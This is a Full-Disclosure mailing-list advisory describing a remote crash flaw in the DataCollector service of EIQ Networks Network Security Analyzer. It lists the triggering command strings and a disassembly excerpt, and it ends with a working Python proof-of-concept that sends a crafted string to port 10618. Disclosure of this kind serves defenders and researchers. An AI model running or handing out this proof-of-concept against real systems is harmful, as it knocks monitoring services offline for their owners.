Title:

EIQ Networks Network Security Analyzer DoS Vulnerability

Vendor Notified:

Now?

Background Info:

EIQ Networks Product Site: http://www.eiqnetworks.com/products/NetworkSecurityAnalyzer.shtml

Description:

Remote exploitation of a null pointer dereference exception allows for remote attackers to crash the DataCollector service.

Analysis:

In order to exploit this vulnerability an attacker would have to simply send specially crafted data to the target machine on port 10618.

Any of the following "function names" will cause the service to throw an access violation while dereferencing the return value from a call to FindIndex ( http://msdn2.microsoft.com/de-de/library/a93550bb(VS.80).aspx):

&CONNECTSERVER&
&ADDENTRY&
&FIN&
&START&
&LOGPATH&
&FWADELTA&
&FWALOG&
&SETSYNCHRONOUS&
&SETPRGFILE&
&SETREPLYPORT&

For your reference… the process begins its parsing here:

loc_40A35E:
; CODE XREF: command_handler+EAj
.text:0040A35E push offset aConnectserver ; must have &CONNECTSERVER& in your buffer to get here
.text:0040A363 lea ecx, [ebp+var_14]
.text:0040A366 call CString::Find(char const *)
…

Version:

Current.

Proof of Concept:

#!c:\python\python.exe

uncomment whichever function youd like. theyll all crash in a similar way.

import socket

s = socket.socket(socket.AF_INET , socket.SOCK_STREAM)
s.connect(('192.168.1.101', 10618))

print "[*] connected"

s.send("&CONNECTSERVER&")
#s.send("&ADDENTRY&")
#s.send("&FIN&")
#s.send("&START&")
#s.send("&LOGPATH&")
#s.send("&FWADELTA&")
#s.send("&FWALOG&")
#s.send("&SETSYNCHRONOUS&")
#s.send("&SETPRGFILE&")
#s.send("&SETREPLYPORT&")

print "disconnecting."

s.close()

–

---

Get your free email from http://www.hackermail.com

---

Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/